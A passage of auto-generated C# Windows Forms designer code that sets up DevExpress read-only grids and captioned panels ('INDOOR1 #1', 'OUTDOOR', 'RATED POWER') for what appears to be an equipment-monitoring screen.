this.ID11NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID11NameColumn.OptionsColumn.AllowMove = false;
this.ID11NameColumn.OptionsColumn.AllowShowHide = false;
this.ID11NameColumn.OptionsColumn.AllowSize = false;
this.ID11NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID11NameColumn.OptionsColumn.FixedWidth = true;
this.ID11NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ID11NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ID11NameColumn.OptionsColumn.ReadOnly = true;
this.ID11NameColumn.OptionsColumn.TabStop = false;
this.ID11NameColumn.OptionsFilter.AllowAutoFilter = false;
this.ID11NameColumn.OptionsFilter.AllowFilter = false;
this.ID11NameColumn.Visible = true;
this.ID11NameColumn.VisibleIndex = 0;
this.ID11NameColumn.Width = 157;
//
// ID11ValueColumn
//
this.ID11ValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID11ValueColumn.AppearanceCell.Options.UseFont = true;
this.ID11ValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID11ValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.ID11ValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID11ValueColumn.AppearanceHeader.Options.UseFont = true;
this.ID11ValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID11ValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID11ValueColumn.Caption = "Value";
this.ID11ValueColumn.FieldName = "Value";
this.ID11ValueColumn.Name = "ID11ValueColumn";
this.ID11ValueColumn.OptionsColumn.AllowEdit = false;
this.ID11ValueColumn.OptionsColumn.AllowFocus = false;
this.ID11ValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID11ValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID11ValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID11ValueColumn.OptionsColumn.AllowMove = false;
this.ID11ValueColumn.OptionsColumn.AllowShowHide = false;
this.ID11ValueColumn.OptionsColumn.AllowSize = false;
this.ID11ValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID11ValueColumn.OptionsColumn.FixedWidth = true;
this.ID11ValueColumn.OptionsColumn.ReadOnly = true;
this.ID11ValueColumn.Visible = true;
this.ID11ValueColumn.VisibleIndex = 1;
this.ID11ValueColumn.Width = 98;
//
// ID11UnitColumn
//
this.ID11UnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID11UnitColumn.AppearanceCell.Options.UseFont = true;
this.ID11UnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID11UnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID11UnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID11UnitColumn.AppearanceHeader.Options.UseFont = true;
this.ID11UnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID11UnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID11UnitColumn.Caption = "Unit";
this.ID11UnitColumn.FieldName = "Unit";
this.ID11UnitColumn.Name = "ID11UnitColumn";
this.ID11UnitColumn.OptionsColumn.AllowEdit = false;
this.ID11UnitColumn.OptionsColumn.AllowFocus = false;
this.ID11UnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID11UnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID11UnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID11UnitColumn.OptionsColumn.AllowMove = false;
this.ID11UnitColumn.OptionsColumn.AllowShowHide = false;
this.ID11UnitColumn.OptionsColumn.AllowSize = false;
this.ID11UnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID11UnitColumn.OptionsColumn.FixedWidth = true;
this.ID11UnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ID11UnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ID11UnitColumn.OptionsColumn.ReadOnly = true;
this.ID11UnitColumn.OptionsFilter.AllowAutoFilter = false;
this.ID11UnitColumn.OptionsFilter.AllowFilter = false;
this.ID11UnitColumn.Visible = true;
this.ID11UnitColumn.VisibleIndex = 2;
this.ID11UnitColumn.Width = 44;
//
// ulPanel17
//
this.ulPanel17.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel17.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel17.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel17.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel17.ForeColor = System.Drawing.Color.White;
this.ulPanel17.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel17.InnerColor2 = System.Drawing.Color.White;
this.ulPanel17.Location = new System.Drawing.Point(6, 6);
this.ulPanel17.Name = "ulPanel17";
this.ulPanel17.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel17.OuterColor2 = System.Drawing.Color.White;
this.ulPanel17.Size = new System.Drawing.Size(302, 28);
this.ulPanel17.Spacing = 0;
this.ulPanel17.TabIndex = 5;
this.ulPanel17.Text = "INDOOR1 #1";
this.ulPanel17.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel17.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel79
//
this.ulPanel79.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel79.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel79.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel79.Controls.Add(this.outdoorGrid);
this.ulPanel79.Controls.Add(this.ulPanel83);
this.ulPanel79.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel79.InnerColor2 = System.Drawing.Color.White;
this.ulPanel79.Location = new System.Drawing.Point(1070, 716);
this.ulPanel79.Name = "ulPanel79";
this.ulPanel79.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel79.OuterColor2 = System.Drawing.Color.White;
this.ulPanel79.Size = new System.Drawing.Size(314, 143);
this.ulPanel79.Spacing = 0;
this.ulPanel79.TabIndex = 15;
this.ulPanel79.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel79.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// outdoorGrid
//
this.outdoorGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.outdoorGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.outdoorGrid.Location = new System.Drawing.Point(6, 40);
this.outdoorGrid.MainView = this.outdoorGridView;
this.outdoorGrid.Name = "outdoorGrid";
this.outdoorGrid.Size = new System.Drawing.Size(302, 97);
this.outdoorGrid.TabIndex = 281;
this.outdoorGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.outdoorGridView});
//
// outdoorGridView
//
this.outdoorGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.FixedLine.Options.UseFont = true;
this.outdoorGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.FocusedRow.Options.UseFont = true;
this.outdoorGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.outdoorGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.outdoorGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.OddRow.Options.UseFont = true;
this.outdoorGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.Preview.Options.UseFont = true;
this.outdoorGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.Row.Options.UseFont = true;
this.outdoorGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.SelectedRow.Options.UseFont = true;
this.outdoorGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.outdoorGridView.Appearance.ViewCaption.Options.UseFont = true;
this.outdoorGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.ODNameColumn,
this.ODValueColumn,
this.ODUnitColumn});
this.outdoorGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.outdoorGridView.GridControl = this.outdoorGrid;
this.outdoorGridView.Name = "outdoorGridView";
this.outdoorGridView.OptionsBehavior.Editable = false;
this.outdoorGridView.OptionsBehavior.ReadOnly = true;
this.outdoorGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.outdoorGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.outdoorGridView.OptionsSelection.MultiSelect = true;
this.outdoorGridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.outdoorGridView.OptionsView.ColumnAutoWidth = false;
this.outdoorGridView.OptionsView.ShowColumnHeaders = false;
this.outdoorGridView.OptionsView.ShowGroupPanel = false;
this.outdoorGridView.OptionsView.ShowIndicator = false;
this.outdoorGridView.Tag = 0;
//
// ODNameColumn
//
this.ODNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ODNameColumn.AppearanceCell.Options.UseFont = true;
this.ODNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.ODNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ODNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ODNameColumn.AppearanceHeader.Options.UseFont = true;
this.ODNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ODNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ODNameColumn.Caption = "Name";
this.ODNameColumn.FieldName = "Name";
this.ODNameColumn.Name = "ODNameColumn";
this.ODNameColumn.OptionsColumn.AllowEdit = false;
this.ODNameColumn.OptionsColumn.AllowFocus = false;
this.ODNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ODNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ODNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ODNameColumn.OptionsColumn.AllowMove = false;
this.ODNameColumn.OptionsColumn.AllowShowHide = false;
this.ODNameColumn.OptionsColumn.AllowSize = false;
this.ODNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ODNameColumn.OptionsColumn.FixedWidth = true;
this.ODNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ODNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ODNameColumn.OptionsColumn.ReadOnly = true;
this.ODNameColumn.OptionsColumn.TabStop = false;
this.ODNameColumn.OptionsFilter.AllowAutoFilter = false;
this.ODNameColumn.OptionsFilter.AllowFilter = false;
this.ODNameColumn.Visible = true;
this.ODNameColumn.VisibleIndex = 0;
this.ODNameColumn.Width = 157;
//
// ODValueColumn
//
this.ODValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ODValueColumn.AppearanceCell.Options.UseFont = true;
this.ODValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.ODValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.ODValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ODValueColumn.AppearanceHeader.Options.UseFont = true;
this.ODValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ODValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ODValueColumn.Caption = "Value";
this.ODValueColumn.FieldName = "Value";
this.ODValueColumn.Name = "ODValueColumn";
this.ODValueColumn.OptionsColumn.AllowEdit = false;
this.ODValueColumn.OptionsColumn.AllowFocus = false;
this.ODValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ODValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ODValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ODValueColumn.OptionsColumn.AllowMove = false;
this.ODValueColumn.OptionsColumn.AllowShowHide = false;
this.ODValueColumn.OptionsColumn.AllowSize = false;
this.ODValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ODValueColumn.OptionsColumn.FixedWidth = true;
this.ODValueColumn.OptionsColumn.ReadOnly = true;
this.ODValueColumn.Visible = true;
this.ODValueColumn.VisibleIndex = 1;
this.ODValueColumn.Width = 98;
//
// ODUnitColumn
//
this.ODUnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ODUnitColumn.AppearanceCell.Options.UseFont = true;
this.ODUnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.ODUnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ODUnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ODUnitColumn.AppearanceHeader.Options.UseFont = true;
this.ODUnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ODUnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ODUnitColumn.Caption = "Unit";
this.ODUnitColumn.FieldName = "Unit";
this.ODUnitColumn.Name = "ODUnitColumn";
this.ODUnitColumn.OptionsColumn.AllowEdit = false;
this.ODUnitColumn.OptionsColumn.AllowFocus = false;
this.ODUnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ODUnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ODUnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ODUnitColumn.OptionsColumn.AllowMove = false;
this.ODUnitColumn.OptionsColumn.AllowShowHide = false;
this.ODUnitColumn.OptionsColumn.AllowSize = false;
this.ODUnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ODUnitColumn.OptionsColumn.FixedWidth = true;
this.ODUnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ODUnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ODUnitColumn.OptionsColumn.ReadOnly = true;
this.ODUnitColumn.OptionsFilter.AllowAutoFilter = false;
this.ODUnitColumn.OptionsFilter.AllowFilter = false;
this.ODUnitColumn.Visible = true;
this.ODUnitColumn.VisibleIndex = 2;
this.ODUnitColumn.Width = 44;
//
// ulPanel83
//
this.ulPanel83.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel83.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel83.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel83.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel83.ForeColor = System.Drawing.Color.White;
this.ulPanel83.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel83.InnerColor2 = System.Drawing.Color.White;
this.ulPanel83.Location = new System.Drawing.Point(6, 6);
this.ulPanel83.Name = "ulPanel83";
this.ulPanel83.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel83.OuterColor2 = System.Drawing.Color.White;
this.ulPanel83.Size = new System.Drawing.Size(302, 28);
this.ulPanel83.Spacing = 0;
this.ulPanel83.TabIndex = 5;
this.ulPanel83.Text = "OUTDOOR";
this.ulPanel83.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel83.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel59
//
this.ulPanel59.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel59.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel59.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel59.Controls.Add(this.ratedGrid);
this.ulPanel59.Controls.Add(this.ulPanel60);
this.ulPanel59.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel59.InnerColor2 = System.Drawing.Color.White;
this.ulPanel59.Location = new System.Drawing.Point(692, 621);
this.ulPanel59.Name = "ulPanel59";
this.ulPanel59.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel59.OuterColor2 = System.Drawing.Color.White;
this.ulPanel59.Size = new System.Drawing.Size(372, 238);
this.ulPanel59.Spacing = 0;
this.ulPanel59.TabIndex = 11;
this.ulPanel59.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel59.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ratedGrid
//
this.ratedGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.ratedGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ratedGrid.Location = new System.Drawing.Point(6, 40);
this.ratedGrid.MainView = this.ratedGridView;
this.ratedGrid.Name = "ratedGrid";
this.ratedGrid.Size = new System.Drawing.Size(360, 192);
this.ratedGrid.TabIndex = 279;
this.ratedGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.ratedGridView});
//
// ratedGridView
//
this.ratedGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.FixedLine.Options.UseFont = true;
this.ratedGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.FocusedRow.Options.UseFont = true;
this.ratedGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.ratedGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.ratedGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.OddRow.Options.UseFont = true;
this.ratedGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.Preview.Options.UseFont = true;
this.ratedGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.Row.Options.UseFont = true;
this.ratedGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.SelectedRow.Options.UseFont = true;
this.ratedGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.ratedGridView.Appearance.ViewCaption.Options.UseFont = true;
this.ratedGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.rgNameColumn,
this.rgValueColumn,
this.rgUnitColumn});
this.ratedGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.ratedGridView.GridControl = this.ratedGrid;
this.ratedGridView.Name = "ratedGridView";
this.ratedGridView.OptionsBehavior.Editable = false;
this.ratedGridView.OptionsBehavior.ReadOnly = true;
this.ratedGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.ratedGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.ratedGridView.OptionsSelection.MultiSelect = true;
this.ratedGridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.ratedGridView.OptionsView.ColumnAutoWidth = false;
this.ratedGridView.OptionsView.ShowColumnHeaders = false;
this.ratedGridView.OptionsView.ShowGroupPanel = false;
this.ratedGridView.OptionsView.ShowIndicator = false;
this.ratedGridView.Tag = 0;
//
// rgNameColumn
//
this.rgNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rgNameColumn.AppearanceCell.Options.UseFont = true;
this.rgNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.rgNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.rgNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rgNameColumn.AppearanceHeader.Options.UseFont = true;
this.rgNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.rgNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.rgNameColumn.Caption = "Name";
this.rgNameColumn.FieldName = "Name";
this.rgNameColumn.Name = "rgNameColumn";
this.rgNameColumn.OptionsColumn.AllowEdit = false;
this.rgNameColumn.OptionsColumn.AllowFocus = false;
this.rgNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.rgNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.AllowMove = false;
this.rgNameColumn.OptionsColumn.AllowShowHide = false;
this.rgNameColumn.OptionsColumn.AllowSize = false;
this.rgNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.FixedWidth = true;
this.rgNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.ReadOnly = true;
this.rgNameColumn.OptionsColumn.TabStop = false;
this.rgNameColumn.OptionsFilter.AllowAutoFilter = false;
this.rgNameColumn.OptionsFilter.AllowFilter = false;
this.rgNameColumn.Visible = true;
this.rgNameColumn.VisibleIndex = 0;
this.rgNameColumn.Width = 156;
//
// rgValueColumn
//
this.rgValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rgValueColumn.AppearanceCell.Options.UseFont = true;
this.rgValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.rgValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.rgValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rgValueColumn.AppearanceHeader.Options.UseFont = true;
this.rgValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.rgValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.rgValueColumn.Caption = "Value";
this.rgValueColumn.FieldName = "Value";
this.rgValueColumn.Name = "rgValueColumn";
this.rgValueColumn.OptionsColumn.AllowEdit = false;
this.rgValueColumn.OptionsColumn.AllowFocus = false;
this.rgValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.rgValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.rgValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.rgValueColumn.OptionsColumn.AllowMove = false;
this.rgValueColumn.OptionsColumn.AllowShowHide = false;
this.rgValueColumn.OptionsColumn.AllowSize = false;
this.rgValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.rgValueColumn.OptionsColumn.FixedWidth = true;
this.rgValueColumn.OptionsColumn.ReadOnly = true;
this.rgValueColumn.Visible = true;
this.rgValueColumn.VisibleIndex = 1;
this.rgValueColumn.Width = 129;
//
// rgUnitColumn
//
this.rgUnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rgUnitColumn.AppearanceCell.Options.UseFont = true;
this.rgUnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.rgUnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.rgUnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.rgUnitColumn.AppearanceHeader.Options.UseFont = true;
this.rgUnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.rgUnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.rgUnitColumn.Caption = "Unit";
this.rgUnitColumn.FieldName = "Unit";
this.rgUnitColumn.Name = "rgUnitColumn";
this.rgUnitColumn.OptionsColumn.AllowEdit = false;
this.rgUnitColumn.OptionsColumn.AllowFocus = false;
this.rgUnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.rgUnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.rgUnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.rgUnitColumn.OptionsColumn.AllowMove = false;
this.rgUnitColumn.OptionsColumn.AllowShowHide = false;
this.rgUnitColumn.OptionsColumn.AllowSize = false;
this.rgUnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.rgUnitColumn.OptionsColumn.FixedWidth = true;
this.rgUnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.rgUnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.rgUnitColumn.OptionsColumn.ReadOnly = true;
this.rgUnitColumn.OptionsFilter.AllowAutoFilter = false;
this.rgUnitColumn.OptionsFilter.AllowFilter = false;
this.rgUnitColumn.Visible = true;
this.rgUnitColumn.VisibleIndex = 2;
this.rgUnitColumn.Width = 72;
//
// ulPanel60
//
this.ulPanel60.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel60.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel60.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel60.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel60.ForeColor = System.Drawing.Color.White;
this.ulPanel60.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel60.InnerColor2 = System.Drawing.Color.White;
this.ulPanel60.Location = new System.Drawing.Point(6, 6);
this.ulPanel60.Name = "ulPanel60";
this.ulPanel60.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel60.OuterColor2 = System.Drawing.Color.White;
this.ulPanel60.Size = new System.Drawing.Size(360, 28);
this.ulPanel60.Spacing = 0;
this.ulPanel60.TabIndex = 5;
this.ulPanel60.Text = "RATED POWER";
this.ulPanel60.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel60.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel69
//
